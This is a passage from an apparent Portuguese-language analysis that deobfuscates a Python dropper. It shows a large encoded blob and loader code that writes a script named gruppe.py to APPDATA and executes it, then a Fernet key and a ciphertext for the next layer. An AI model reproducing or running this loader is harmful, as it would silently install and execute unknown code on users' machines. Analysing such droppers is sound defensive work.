A5YLfofi6lcFd2wGveCjAiIunazY4Gi1Pl30RjnjE3Rud8Tif8h7KWbBpuPjCD_VCPhALNP4SI8zQ5LUbkOOwLw41hhKiXO9Tg7Y7h4-SnDl0jtWyWaCvo85MD1REyYaUw-9Ln6czJj9Pt4sCl2NQemJ71QtbHvv9OcM6B7ptv4sYg3-CSvObhy2oR0_46Esg9g4VybS9orWDrKRDF-iHe5LgSpvzCZV1WiamO0PedS_-R41GXlMAIPwxOVXtckhzdrhZjsdAyvYC-D29kWuG79z0QHaZTQ1VPhSM2xLUn9bhTsPlFPq_QaCKZvX3EL60EPqGFh3NVDanglTCtYbSffGGcep0UXj99_g-V3LEOke6hhWBbcFlDZ-tOqmtDTZwDE3GUrKyXwiVSERKn0_Nds_lHe4_NP2Mox2UkyaWUEVuH_fW1cX1lV8da1ZtKVu5hKGre93H0p2USpYsyMAW7xXFqkBw2Puotbl10G9LOjE16pUukxwSzVk_wyJIyubMTAhIXICskDuRq8y82ch2kCXJr41YmF32bVN7S6lxpFPLOr4giqdsSnzJdHWOEFoOMpw1yxb4e00dUyZzZ6D-X_dmfmLBThNuiRyq3mU3rTUepT_psBj_f0eFRbUVT3wFoUUZRSp3kQAXgdkPiFoh6bWapiT_TEAxBhkiGvVy5B4M6VFGec9U4dkTU106PnAHRz9yuWpP5d1jdgmoCbdbS6oy0oMrssLtbHvMnY0HFXCjvOzo5bIxwtIbtrvF26iZMTD6Tmjd3piJtJWYRbSNkHPp-Cl8h3-ni58yRczu97FibhMPG9TZ3by7IUEIoAO_S0pPW3_vhSvrHUMovXfT21HAzku2YN3zkWGCQtM-WJWOQj0PQqCi427THpLVVdDXElkJHCYOHrRUIOaY1p2YPogJmt8kyjJTnc0VeIbplaRGL48Kw6BktZFGPUwIEXLrTff_j1BFlwL33PijbvgxSEUQdRJPyz8c5wkdPUaDWp4R2K4a8CVPR1SSkN2DUQNneVEJLUdcrLHKr2MCTt5Fkw0El_igVOd4w2ZK_iPd8VhiIZ7qbRDwBDeIT7lDJbvf0BOvaLxBm6OYodtICeZMzzchNeGiMjdbxns93UWacjWBnfuvpVZofhI0GZMXMHWbvHgbDHwBwII8-RbCdRTKJv8IBsJ5gfEQtvKQSVd8hoziUMeNx8KBneQmYHrGzgICyhJEV58GDVxD7ZOHdK96B5-tAi4S2tZ5L2t9N6Sm2d3mQ7immDsfFqTVPPbR9p8LSFftBQnK1epK7AlBrn_mqH4ATXvD5R6wGYGqqNCjBoHWKXPSBntqusyuOrE8Vlpl1LtWcaDkhT-bg0Xg-z-FCFC-5uGdyMeo-vW5UHkI5MdE_79QgnpE8IFnpqL8O2HHc6elax_KzpIQs2nEo8LN8LiEerZeRnFwj2MQA6UhWMrIzGF3Q3lhAkaRVuUqAB0T6Jxc82Ap5QBdHpMZWdfXK1-E16r0l5WGnOLDHl4tW-eS1LrqKN-NnidX1U74y2WOAxECXqCD2F_sjL0xigoW6L9oCYltT2tob4qeCgJBhl-MvNSsYTku8h93klfjBMGTQo7W_WFfZzqJh-AbJU2tgw1st4AyhRHGnoQG2Pk_Gxt8Hs-e-Cko4CVr-kVn1buFUOO88LkEfXgc-qI4pbEGeuwSg6IrrkR6s6CXblW6MYb2LZD072dNDvVN5mqJnWLTE7yP7SRkNTD-nFwTw0rjLrvXNiB4PCYMuC6Xqry446f7qPSPgqsqz5VRUcjtQvEeeI4l3C5L7HL0gErPBYyCEKO5_Qz3V6y6R8TH1cxelMd6_lGpQV3X91cMgFPXePC4Fd_BmsIK5xqsgzlKwIl5i9FD7gmSeUAcS7kgCfYGhte6QMYeaPSwUg8bRTZpfctFmSeP2mGiHs8M2_up23aWpi401heFDmxiVHJQh6RuXGcEoJL0PdEHkS1rjfAgrNg1Rlm_C-iLxl-zDoeF7M2mjxBYfOaDEWAutXcSouu8LqBP4GExIjLxch5igCVv6R9C_mIP7jdYAwimjoKEes6VHjhfkFlgABi2aSF47A78LmHRefqYJcvJ2Bb2oH-b7GUPRl52xamQ1-9K0bnIz34mI0oltFS-AhtZEyeC1sqz0mLYFJhLT77AvTJ6bAR_pK1q_cb2qRmZekWH-uibfptV0X8xe7e0Rn1QScI_mPXfXRlmW39HwIXjFX28BYPA82SHXulF0SkPrhvQuimjbMJ4L34dbVd6HHBaU9CUJjbfJFoK-zOkpPx-1nPGgyMW_pV_tg902t4roabO0jygNmUoBCr2PjEocoRoI3qeLH8Ikzaf4osOfU2RsSN9bJIV78gRGHXUHTxc5YGlJ6mNHr3CiJKWP2UNCRD9e5FAuwGuwU7wQQ2UCJUlI77y7PUbVflRe2_L7HnJkU97v3Qyqx4AhuAWBNorx6R_plOUsjdk9-ZNriydBXnQaKWH50doAT-fOBpsT-mjYNWM7ffEOOe7gxYF1pnkY9fNoAT4B2BIjehLCYFbo9291k6QK_QYrjstTE_daWJSdoVLZZtVZTggElCNEoruNGj_ypdDo1dpAtZ6k-9GggXIM2xD5TxnxfUW_nN6KFt5TGC2bJi8hvbOuPuNqSgV9xBHxXUopyJlcbdN7Hz11CQiMVpbMpJQXl3XWfeLN10JMMF04Ji6LbaCIkXDjyhKmb7XzWdqVMJK7bisvnbuPdZXDUNqq2Qbe_akKCDi2h4ZLhwFTSKeN2wwnEGINEwYs-_RDdPgrIbqS5quOWYxPHVXUlyAc_yyjIBld1qTBADtV3oM322wUzz05r8kILL_iIVXjVE3mHlsoRweGKjz7keSTSy9lTHiJniHxAfgg4FUvM1oV3XZSVCaXdA9zgmBYN07MBpNUC6phKrpR_gPI9uu6UTSOAxtMY5AsJH_uxT_bKEaOmwn4GIq0E1bMwsKzf0B7BmbmwlQxxvrII5ZuXtLBRmNYjrWAX-mAmp7gw4cOYsow-eXR2vWtnkuCOcX0tSKMovLegzAcJemUFE3W3sElytJ-7MsO6oAMnpHidJS6GXSLIAoGSJeUQXcKUrALXbJ7Zrywtgql58wf9t3WJ48tx8Dq59ptVNulP5YfBuS9B2G-25yEobQmkmhhWEhgliaysjhfPpkOlTPHXLYJ_NDPGRuyWk4IT7cTqyLRDPWsLCiNcAO5OqYs-qBVqbLvACpYw_fgKlRwCCKDF7KwMDSm73s7Nfv-MGKfXDMDDrKBW5KAk4tWlem2fR6GYuizgMgwrmVkdgqimdKEOOGfgeni6pXSwDKZEX76NMqQvb8OfQGdtJlvhlQD6gWHFSi7CngfEWUfyEfGfmlq1s0IkIfRBP9wH9qrWWcnOuK68RvRPng2BPqs-l6AHZyErdImbQOQQ5siF4yko01P1WCCyA3wY1nQfLnRwOj5AB35U9NxBCK2yxajogypJPLzEwEtfMQg9b7vwv2Fq7HyHnfDBBOVe6hH7PrKIN_xgjN-yc14CsOip1_hwtcf8UG8VVArajpeM_beFfuwByRJ3MyP603DEKvCnLTAOxTQ9Nk69M0lfiwyUl1TkrCuWBSWxxonrsX3BDde4gGPWEUjuSJQ1i-GDcEmVJlSpNYVVgsP7x7K64E96Jl1utH5t0TAIz8UjXausUhrVAHKtsaEvxj64z9DZqeP88oFUdpf5lXcm0M9Q26AODfdhqtsCK2g6u3CAx_wrYf_ylJ6w_xvbxNXzXVpiYVWlMNUoiyyG9F4bhIPUhLA0kEW8VdrOQsV4mTMju_PCWzX6-buFs5M0LuetRU7XsXLCkju-Y50cviVY4hwv1-Dy4RTbHWefKQ3ez2LrCyHFScs7YFi1fF7maW3R-OmQysZ9iYOWNP_pLrbSqQom9Zp169mnklN8VB2e7tLwSQEUH3AKooOp-TNY5Zv_i-0b92rDmceGNUIrIutBsCahRtUK9bQtnGpMT3CjtgTkbkxbrYQiusxira0QJIMt68t0jVuHmgcVJ1iEnUsSdttXWzyqOQNRBBwi_epE9pC2nvlA9Zth-JEKlcGkfokJfaXWe8YtPY1YJzzKY9jkMYgKpbG2d-qcZazRoQzay3CjyNmD0IBk-v1nCBgiAtiiD-wp64A4Ovy7hli8R4yq_J3euUiq3a1N0WqLr9t3zDVFWS8Iu_Suop8drZz8ehE2bflQ1cK2-8wU3EElOf8KedFH7E4ow3wxmDdI6zdgTL4Iz7q4_UWRIdprTax-UX9eQJdTVYT8f0wXQXoallpZJENRTVPDMKpGgGNPjgzjnGJtZu3ehygmZ7A50a-l8L7TKbsPXa1AC1BQr22DndzrkryYkS8_n--nnHf3047r6jBjecizcp5IS2fDueDe1_J_35aB1vmAVTD1lFns8TqNtohY2qLB-2kw_qv_d7mTMHfCTOXWBYoLvqPh-__dPNCIjHpk0Gh42PB9el9-2dYgOjCXjov9X-0UDesvXWHd-9RgLh4AU4lD1NGkHYNoI3symcXeTtAMO5fG_llXJlUB6lfUKaoNTXeIZVzA1tG_3eP8_rUAO02venRznYHRakvixNK0RzEWH-thUlOImZPOWgbAmaB2WoK07OKEgeuujYiE6kXLvXJZ0cgmUKYC7ydBRZHeUNP1EfjeucO4Y-ZPUtpLnLzqr6LGttWmiuD9YztMAa-kiG4DydOg8bHBo591Lgo_OhLNzmMeJLnei8O5eS7Tpnycc20ehjqQ6FJH4OYsH5FIEoN8m6P8xpsFFBi0TpQDTeKXFH8dqMXg-nBO7AU4xZhS0qImdfvQreAwB7Eb1b1LhSBSzs4FG801BoN_ownm9Rbm7MtZEg1TvfnXehk_jZod2AP1zXrkjEPjLUMAbN1xn_dJOUQ1YTc6z_Bntgv0gU3u-9qEs17IEjT6G98wJzHv2xRKx7t5RrYT2zldTEH0hHV42xpS_Em5YPmPceX4V1wij5F9ubwLf_dCYbDqJkDMax4iaRQVUTjr-f1VwkvCKowA1-jmQ5rWjCbGL66Wclj1xc5kBhtNxtw8kXAP6ik8wZaVaRCF8aa_cz4_1gcLulZUYDp9dd41RoLT0tzLklFlQAKcL0deDw6fH4BbLbUo_71V1xFemPNRQa0duZ0eCMHe8AY5V6OieXIkZBqtSKadlwL3Pa09v8OCRTqTfIdOMRY5i7qB7eR-RTvtKwmFWlU09lxsJf0SIjTTUAsmNd2pkgC7FpTNg3iBLuRmE-vj4pvRckVzQ62Lq2jT-RIPmBthUdMD27pVhRzwjXRT_tb0krBrpbicaaAKSob9F0Vfup045JZA4A8xAxDN4hCNQSOUKxRmdYyc0G3TXVN9gRFJtnMJWwzD_KwbEFSwnMXHfvSVVtiS1TPOlyjKhLH1iSpESCONlEba-bgsYqld9kpZGCZzoMh8HC4brHitByUqt2Sr6-FGQAVOpYopUyCl8cmhdaSvqYoxL9GnIhDx-_Q549mhWu_OMc1h96ugMpo3OXtfMVE4OViM8xNAP1S_FzeSNxYr8N8qc3snQf6WNAVAO0mmf0NpJgrOrc0FWsP2Dqg8vTmOk8lX8kgA6sj8os-0fpC_PcGU34yf45qCYKRUgues6GRVhhgktcpAYzLbS9M7wO3lKWyahuXGiuCtaDBR5lSjx5cqQtOoeGAgDDxRhv8oEy_0Vo_k5rsbExEuvYw0dZAQ6FSIcqib8Ut4wlDuxsg7RvCElm9jw__bdrwAFfUg83r0AGnE_04B8UhbcDh3UfFQi3qPVZ7HUxi5-ZLjaILd_fJ8rvKkdryHNxvz3AC9xGLJmVohn93JLvm0yZxtakCFg9ztkaWCnYWSv6aZ4x8UExTtuXwdOHDjryD9CKn9dP5u1y3v5KkMe_2gQP3Zls6j0UC4vJl5BUnwRU7xE-avzhxOK-5rAWrWKng_MKuMRr6MJRao7hjpy3VdVwf-pwpZm8eAQz8kwXJ1vnMZYaLCiOw9MVm4GB1uhRSF3eecr_o1vnmR_IhZzxJm2SycJNxTJ8QZzm_lI5M-yRTSfNR5KsfRVgwODiGLz70x5Kl8J9rB0WQeqdmUYmgvYBwfzdiuVYIofaswLYhW8IUKKRn-7z7IQMP_c22usUl9U638QlzGgWNpCyx8INlDRKldl0uGmkLiFF_XEq1fbVm6jDkOoSmZa5n0J62roYqvFGDCZlE5ebsctr_PgHAi7RNBM--ZwIthcuS4Td3RxKTGCxX2mnQDd490DwEfrYpy_gUW2Qzo_8J7VpzZxsvuLPxaHqy5YzRJY4pIp0eVuzxGfHi17-z9dw99MJdq4vbvqcC0oSmVeTeLotaymhy3B-xprS8nlViSAhjc8TTRRiSyxUBnfWBhmQWAWLF2jDIMFSnrDRwI6edcc8Nt-0jNN0zhxXgQvyxvH_D4R58RsHA2U9OYqTecrVjCPPw5NVb9qBL7zXpHY24kCEvS6Z72UxB4ZRAuECYaPYo9aqSa3Qit9Gl0YC2XHWzGGacnxCHghpPhs7qj1o_0mkGkM-G1TrVEiB63svFm7WO2eGFeGaXGs4lNKLxEo2y908lXEHJILp4AqP0o0sfG36enT7COOeJMraaVu85QP1CI4_Si2EOaX8mmTM4dkhlqG3bgx4akvvRVAaac5BbI81_EQVmHq3Omdn4V4tm0xBgakiusRzZwJxAYX5cx1k0LjXMC7QlVeJJH4VP1ZLhYZX9_V5S8-j8PrW3Pm10lpibaeIgo7XFu2U5jDU3yfyOyxA7lxuHyrbALRke2dpzcceWvZoQqKZY89Qg0myS855nCgpGO5G5Zye_UYsbEe0e5eqpWZVOIog2Q7ANj2ljRA3eoqcReZwbJOeMjgjSeVdHG9pS5iOAgVA031ve0Vp1k32HC_bIgpX87NZuVL66T_zfrrSr_CXYNKSj6QpJtjEchr158WPU6bdZn4jX1euayYhaOsHCHANSkmjqhngfAMUWu6GYv_Gpftl6cctvxtf6aTumFgAdO6WfQyxdXTMU2k4rjpwcU9vHq0tLWjWgmPfJk7L1M1hI-fIFyoXh85SVV4Y_M-Bf6NaxsmnssmC4d32Ppn4aFPS52le0z6mZP1o_8COkPDslVCbhty7PLCFsRt5QlRupjt1sG04kT0Vml_EqE9Eykp_Hjtf1jBBhSdHCy_zdurv0tz5BEc6Z_HZRl1MN1Do3_R1n1I_E0tqys44N2K5fjRnfgDftdoImXhVy4ydh_O6yZ9Ni8Q-8J7UUNAngw-AaYw5jAX5l6FO8VYF2Eh1bC_6pBu9iDWUf9gkFCxrS-P9uNouTlb9UrbC-QgXzXbQl4UeHMi8F4qxlYGW95pEzwJzdLMyZdx5DYsqSEi3HeAbVEXH-Plvi-X6wa0qe2uhwlNFKB20vc8xa_x3g8mCZFrVSOb-gck47i2FgQbqYJUnK3EuN0kaiw6lr1-5NRJVJh8Oa1Lp_iw7W_zM8c-ZuDlj3IjVS1faeYtJ7dPHTsL91z2n1dgOhlV0svZeOi0pEXWE5EKT1s2VeoQqPbhfJD7Fc7Xwl-DUVIcTyjagTbfOIUcwDivEPlM5pHSXm6QlQmhViUrs_bcPfkffpd8LIFgovXsce-mExoAXx1WTaC_a_5B9nZWOhTeqDbXkrNOkzBKa4Hycu553vkzlKteYusudqKjFbP8Kcs4LEJahxg8ENi216bxrlJV9A4y_6q2RmF2iP6rObLXt3EqjqD0PDJ3Ea08FZtzSrkkRrnaoQsVtkXgJ_CRkOhgy2oaffd9zTsT7AI5218m_xgjIvvG1RaImmxEKwSgscmotXQbDZh7xbnBfYlizvf0OR5lt99l1iT395ntKZq8A31SgiTjkGinI38vSHiVYWmUAcH6q3ycf6a_fK3UVhOMk0td8Q8kdSZlcopX4O4J4BsFbP9iSBo_3eQMVT26OIfEorgzhkJVueVZtlq-Mfcg6KbSftcv9eMZxtIwdr3f4U-qmE1WfD3mEtSyWYRPTscHO2NELQ2_q9zcF5MM5N7nM9Bs6-Gits4f8225zFQkkI2Gn7MqQqYIX2D2QcxSRBL7nWpcfp8qmL42we6wz0xCQhdt5OldCUBYXzanaTZrR7DCfHQLrPO7njGgHJ6a04b7zkYRTP4UefcCGnZcv59fuf-qA2pKFtlaK5T6AF7hjljxSOlcEEH3PUgBcDLN_pfkduGlBgrOAJJho31jtN1Jk_BlfymT5gZw671TFr4BavD72BI51f1X28DlPNcbivnw-JkTvHKA8GbB-oITVQZDKQsKLWydh2IAqDEXro02vsx8I3BEaCx6F_b6ZZyurmf_97yp_hMpjRQ7ds1WYiplsd8wYOjOZD1Nx_qhi4P45jLdYtcQ9BbwtJF4-5zE0jysMiRzv8wDOR-8Iee-UwHHJxsTlSVMYMUwy4gW6hxBj8umCievDOQafYkyqCb8X-OTg46YamzzbsaClH7SRx5mU7yMf4_WWlRS1fp_Kh62BZ8HJdMarPLQ8G5NQIBmb6P_0a_gO7qtJYzBlnkrYJ3Tb_4ypGJ3KzsMTLXhEZhEEA2MsmgwemCVjyJKu2mF02euy2PIdOlVgnYQfrVv5joyTgAPzFqnIpG1vRKd6aNUkQtx94hC4mxGt-VPsGQXr0KVGiWuhBDqY1Us_l05-ux65sqCdFasTYv2Rql_vLLibNOyjGw8U8b6CwAbWgDwKzypSeYR8b34EmkRnaqQudeDqxTiQDSo41hCdb_0GZds321HoK7xK9gxTHk7h7vx0AaZRoLbXR1LvNVf_TixfRM3-OBbOSWgTSCNEd9wYlUdN-XOfx9l4UwcEQ3JQVipq56wuKwuYMehYYLpDPGL4WdkGnjkDQk2YzPFCmQKQrsua0seynQUYZxQMCtXzaECgoThbskzpksJwwz23d84r1rr8QzSVSJGCsJ0ybcLrXBcmhHEEvWzRe-Cs6oVWsRkP_7NwXPpcmeqmP7iclAH1NHcFc3dSiiJmkmaFo4r_HeMjhwD_XnzHauIYGYc49ZFzu3oM_KjdpK0_Ls7C1eSb2KcPCnkS0k90kpYjjfyxzkL_ULp9B9fO_G3ct4zp5dEdEbTtkTznJANujXoqhIsecIlYIdX4K-gP5mXPyiDJ9G7aaRBcAVKCgCLG-rxWtax1QoyJ6_FVm4dON-UI0QP-SXWSDFzuL6hk7wvpmwiBX5bS9fYpoHTo55Iw1pvDAEuMOhia5LGECbN-7V5iTZRC6Xahs10o7hzh8ForYWSNVlddnXpdCkPBjtLreEwbyLYxOQRZ20Oo2lguzKSASyVtLoV2oa2dcLujAyN1DlIhjy4YAK-eAcBv980fA_MYU59BDSbDgJMJuznIuEHRS73D9IAKVrEHPHfd3wU27aQtjuqGcGgVIjKEwXrlNR4YfrnsoK_jJOEi00QLDuUlfvjsrnFLXA7_U-eOgEgujA63geTfaEHeJAFBNXNeJX7YHhuS2i8wZY85fzd-3WyB1oJZms_kPpU6fmBilA68AwBASZU-aZuzvmH7Bc12BEQeq48lsdX5YhD-krbwFHeXUmSeqEv8HeYE2Sij5d6cfHpGaXhZQNLXJ3FgpWLUTpLkpecyr-BIywL3XKjX1mtCI846OBeghOr1P68u_1yXuQ8MEQBgiV_N_FlUG2TYS0VkdT51cZhSjdbap40uXPH-ZBXHyVO0p2sGqC-umHqTSf367JsRF0OUEsMwkH02cmUrAOBj4px6g_p99-e93GqlWnQE7kbHEhivoy9wDtr2De7Fb8HSAJ-FIjGz3UquGby3NJvx0DyWTyMutEXWSFDxE5LxOi-6h46sg8Tz_S53ruABGUM2OZA30Yt5CjRrkbjqFbHkq0OFtXK6bi5m8A3gq68YswGShutGtBuK7fIYzy1zWlx9sHgwWkoioIAnFVXqkbXVjnnKQq_-Xu3Uc1NXeQ1wjbo79ADIpfEsKgE-afiRwX1C0moOyzi9FtOTfwv_U2dMYdbeRpKOdCpSN900mC03dx9bLfvDkz6NJ2dqsDl81dhsGa9lSgSkRNHSobxUcRX-_hF8i3_jYapkDExW8avAKt8ddTYfREepWvA2rgpiB1UYr_yQ-i9me9qIFspDjLVUoqn2GyYrCgZeI-Osw80XSvIMV06pjvQSMMuKwL4RGmso6aEZzfQ4EJOFDkgAKmbHLfpcya3biiSwbEvj4h5fjgX3zzgeSyBFblxuptL_gPhl4Ft92ZcIxRY-nxPeDNDVCyUw1KheCoRalZfVAXGcYRklRBm5gHVIG5ELIWlzdy3_bhjp_r0y7y-n-gSKdCn78KaOwPgzYyyvonyErFiYIy3q8OHxq9m1lUnLN-xhzJOU8dO4rCpEg-yJ7A0fqYPaUSP5JzQGEFu2Uzdwgp6xeSm2sdHUmG2XOc0NqfjhSMY4IF-mXjfbtkYdrTVpGAGLnUZyxwRrRmilKB_ETxlZYI6hrFN-xo6Rh9I9vDTXNhUTwxR_os1obOuNhuZQYoqaRVdgdQJecwFsjw6z-_NGQh6WZdZ0ZUtUEvy3x0P8EggIdxdh6vNhLIupWVLtx07AH46AWn64u_2Xwmo0zsNH57whtWgc_J03Y-1Yq8YBW-iLjCX1mt728fxIPC9te49_H0xrstGdXKfTt0B8nK-su-jLSOEubGnTWlSlWkWeUfKCeVIjmriIIlJy0LRIagf-_ANCNXFjTfzCxtSphbyw0Q0Ld72AtFhmLOHUnNvuHcCZS_jIywDuo5OPNopZEGHIuCUc7WcRHxe-uMCxuT9zBuOkaQ84sudQUUk4KRf7EmEwnZrrl8VHLQF3wHjIncgAwx8tKQ7hrlfELUEySb9TMH-fIq4Skq5GJ5Y-Di5hHSpOW44rRn2BBiDyh90BcRPKBeYxwhTQsw7GuH_rksRG6j4mh9eWyWfzqbqYb7nsMxLuLO0nLGHJLKZAAJT13GWi_8SUa_rU-Dj0jX20M-i72L3Vu5aAsm6ct6JReRaGlIYMpi-5YJr0QFgoBeUdEJyOYPximQYtN-GAVmCGlZW1Jf7UDSwOyWDs8bMJUVEvveuBSLi3kYEB_tRY1aVE5gi_xvtXU5mSsqz3MRCxr8KcQuHEPugbxlVrbt5OqNkToc2JINqUCNzcqj-aYWcWgKx2ciTPE0FEKCkvCSjQrjG71T0xYLo9t5F4p_IR4TQHMbMXTjJjz-AQYuBgEOe7XzlX2W_GPordC9QCD8pOpLK47xQwQsZLxuJXKf5up_nQjWSUL3Xf4aZMI4fz0WzAmw0q_7GBZRnqoNlVORnP4ggZydDZKAg==').decode())  
"""  
gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')  
  
with open(gruppe_path, 'w') as file:  
    file.write(content)  
  
os.system(sys.executable + " " + gruppe_path)

Seguindo com a mesma logica para o codigo criptografado anterior, vamos descriptografar sem usar a funcao exec:

from cryptography.fernet import Fernet
codigo = Fernet(b'2QhByK1S6OiSYyR0ieLjajwm2T1XwQDJFsQ94U7f5EY=').decrypt(b'gAAAAABmqFtEmwUvBRd1_LdcefS-hZSCVVRgnFntSYrlOtDj-_Y7Wvm23UPUlTPNdVW5TnJxTjRsaFMwL0P3UjbivSuBLRkwfbNu0-wNaawLSlRupTOv_9UNMM44FdcC2X6UhM6UJmr3iuNOlO7B2xdLYtYYpSpjEnIYTViEKfV5Q2WByVfvSwW5O6_ZSao2zxpehoLq80M7hvC4pEh_IJOC-cKsGrW2I37-oAsNgVseOfq6j0mV5l-2gloaJ15A60XGI3C05a5C__RTpAAz4WRbbUmNsxAHrx0J1h5rSSUIHc0mBkIWVPGXfRzHs8Lu2Z4HF_MCJo8df9QNGOWBH4CmMUglUhQwDAkEcz7RV1bCjQ_Hd-7wE9mCk0HN_LnNCy2RDVy7NNY9Wi4-oD0Q4CiH2cfpGhdpb5X1sDXlxqJzdR5ABqr3b6VrDBXK8xQ-4TYJjASOOXFrAIE_DpLc4rkOBGV5pmWxqNd78uManin0CwPi_VTa7GkKrwr1XUcRN9y2zUSsHyIClZYctbAyY5XfYBv5w1CSvyJ0Je7hfNa3lywPzE_csZ86oBAxlREz9z1M9dH50m_wMtdWydd1FcQrz7gx_0lgenIsJRNzSGp_6kddCUiKh6DHpEmkpoceaHVILy2Uqxb9rK3ZKU-3xKiRVeC_e3ehG-f-VkcaNezlJv-DsRpDm_-sO793pNJYYKgfslYLDttZJcVIlZtxSQy3eFQ-Gio6Gbd7NcVSS5Mmzx9lh1N3nmlAXWFXGekbfPM2iaGe_zmZQbuF4-sLWO3cxf1QeLYHxxSH6pO8NQL3QZceJ89GhlTNIyAW2YtLmjRUNS-ymp1fSRB1YiJWrylVJcO3PyvK_WfDCbmbU2z9qmV_F-vq2SsMBhOgtSVLeJBvy3x9zhsg4lbHIEVkmqf-UPxDvgnEvSOhvBwhabgNLZll1d_gGJgRL7H5O5wPItj4sh7hSHi-nrn9YdlVNgb2BEgtMsS6kBbWnQdUb75S8Lo0cqr4GuCzBno9yk8rAuSlX6WNLJ8fwatbYGJmnXkStM2uKWTxOhHRvJU7oMzpxlI_AfDr0sIbG1ejOGffCS-cxdkp16a0VVQDu1YFzpQ_ZBPIfvzIqbvJKUEztPpYGT6WqsRJUYrmIckHVfPWuTEyPjWkHo3QzujVPjE4zmwFB2VRLTf0eGAP2xXpWSj6DBJ4tYgzFdbp6Vj82P7DCU4zE9kv_tVmqD65WDvoednyp25nI3TyI5CAbBAJeOuH8gKv13rS3so9bC87lm88aHxRjK-erwKaQiivDhJMV-YlG3F0m2fDmEzvQdmZSQTxel0lqUw25hNemMRAiwr0zvLltWM4jDdks-WPNqH1eVCGYQiKbwuSoT-nY-50uthSAXlwDBKaUBaID9xKhQl3zOzi7CZinu84hQchCR2D-mQ8FO9xFOwhT16uPlFoB7Fe7k5xZQEvP-wnmvE1Z3IROZuh0tFdYzAVmRglVCuY_TLc_MZpIFKbC4QKEXsCOfsDP_G1FqapGKy0fOStTogUQAH2H2rrfLVI5IOQH-ofdGkwQ459HuY7PwzSVjD5E0VxpKGE61gEZJHij8W7fhupgyBnFYEc32Yxp5Vz2julDAaaA09ytsxLX4MUrlcQevTvRCHjH_rcfRTnK_z-FtbUPjesKvjC_tYqLGgJnx4q1Y1_2I1ja6uY5TAqUZryhMpcKgouyoRDgZFaZ0Lg7v0jfBNQQqIAa8vhNhXxAAOq0InD_TEwNrW0cvvHtd1eba2ZoNLw_B-JbaukAHT_3VC_W0dx3G9YSHwzuWbIqvrZRao9c_TRdrfewepuL-IwqW43jcpZBEZqwrF02y0GNpb2tcjHLwFLpqySkiB1RKKdbXkTWCQMs3wfvSB74ViJgx3-qDlMyyYGGU0d_80ncnloOvuQcOIblwDpp9U9zrQANUrUFxy7eJvUHi6UjrxH5c0Ye-Tq-MquNjGgad5cMw9oq0BP8g1eoxKzTMrKjPgRpNWAU80jJGPAG5YJXKvAZAx7voRaUjMsyqWTvj_bjxZFi-6dANAbT-OsSPOH861fhkD9haIlNBTwpsVVyfnjxON0zkiesklRHlEAKRFNR4pzEtcGGC991GQ_EtJ7uA467dhEciopcl7yWbYpJN_EUFENQw0Q-RkTjFGMx3ojpPRW5esl4mYhU72eEZ2uRm2avIXpDGMqJtbwwv_NIG4D6FA7ldNKQqLdAd3xucS66dZw7rsicX6BkvPpaN54JlCuxClonHccu7BDS07xleuR_gJWMUO8aZN33YaryiDSMS9NwImeIAqxVQi8-vX94D0VYRqpG24_HNBQKbhfg_KmGzs69w61zkDzULDpK_8REknl-Yqz6V8nm6NC-sDtnqBqacgV83SLsj4ySfy122zMxpmCdYSdwXU9oG56WfIkg1i4hbeEG9r72sTlkbYwHrHZ-1AkKMXM2G9xVIdvLQ_rWA4-w6IV8BDLQNZm4ZxWpQbdcQb2B0UJKb3FqGkE-WZB4oWJ5UfYx7q9FxCF2vTKN13gIjxUv_Ho9aV-fwLgo06zOTQQ_tVFGpFsvMExgS3bbNjKxaqtzpspKfhMiwOlgPvM3sQqi1pSgIo_9jMGi4bTGDPjBgzB5B-WLSYBHrPTaxcZRZGSbW48cxf5AmJQ9HgVzL3AJuiq_9fEWmmJCtHiif9ralg75znbjbwDzKvywWF8ySUcECNsLvaIRVhsxmgkzYN_DKcIogNIMLU9LJF_H_wpAYZ9Krwlm8JUoKfHyUKf_zRG-c1AVTqaQ2F38y3i0PqE3YSO_H3xvlEpgknp8mvrO72SlAqoPH6qwVHj99yhaEQ9y91bKUUcOCMQ-dW06CYToqkiM6hqmgI5eAQVHG7IDvWYORivGtHuctZDzsBQpxNAMyLTbq28-u01BXZsIOpqQJ_Ynz1lTiHvn8dOyHyZm0Ygy3cG5HJMkbxiL05RhWocA3Mm0dxCIW9ObFe2STlNHBDdJOUMB_3swFDQLC2sXNWWIKBO_Y5al2Z2RTCCBEQ7yOpPS2fa134uhVU1JoR0wVh24ArNt5G_Ft3xWgxNU3_jsuwYWUA3ykaxE2A7b-20g-AP-i9KuGUjknl8wt6JuF-6KKg21kZ9Lca-MhOOYVaM8bUxmNqBxA-Fb7g3yXMU_I0KYBZ8iz2pamsr2ViwhdKFEAsh-I1jxpH7NY9uuLAb4Vjbwne0Vmqqr8uLAfHNwVG5zOvg4Gh7lorz-jWHwYNwcttTEhCTTjAwWnatCctZ73PjSaL4iQHc6pP5mwApMGfzhR5z_FiXwRgg8SlSzj96yuknknq2tfjUhPPkxw-lmDsJhMDKfboJef4u1EmtA8ZT9pesgtBjj5WSakvtpBTJnWfUwYy5xnAMPBTtnnTLrwLsQyeFn3qNU2FV_B_cf9bPWoW_c34ThrDckms3xqhS5pYIcWKxqbkPpoym3JM7CCEC6mhjry9i1fMWlZtAJNB9kMh3aEDLKSf9bCHjKoX260R1XiSYAA5vDqye_16_dBvtDXydxNV-Dsm34IXM28aAK8Cf_mCgrHjObE5r7iuQXQxuwrXMFLv7SnZCy0kqoYNpNW7jaBj6UI5tBN0I55BuRkNyBi3eTVJ3jTUk1E6u3Qqw8uLSvEquWrIWdAFZY2szaoZUbzqp2U5_kTMVK34An9NyhdKYENDGaA9lqWJeJr4LEBDCR2rb4bZSKSToibgtxSZGKXGQLTmEHJKiskS8wz3HRIphdfyeiLY2M7A7Tfcl2xYQSqXcQbkJmvcnw3E6Zr_3rR9x3xGqT7Hzcwr0HagVlS01Qh0Kq3SqnAwzD4lIkayPlG64m7J2X463Y7J61XX-h-G1S9XUUIiGlLYsyVfhRjn-BEA2x2Mx5d0ihsoowhKivrLbbF1ICR_Llb0XVl9rSLlbuDE3WPpj35XzNPSHuUTm0tfXuIBGIYA5RwJWybQS4fTpNYErvgLGGxt9QFliiUrS3ps_Q4RdLThp3to9QZ03U6yJu2__URbkJkGypQBJOUlcrmradTefVNWpnp5acHdIuFaYYs-m3Y46eS-UPjZfaXqclHQqxrZKsXnQtHfU87M20UAVnIQAg1Sxu2TufI6n8Ut8kIhxOjx1i02h1bEcqlAXkpOlVJjvxzyEV-JiBQ2wSFZFPTOiJGkxMawneUpSkfsT9e3K0tqJ4adadJwWgHKATtiMnHdDUzYh9hmIHDaGFUi1E-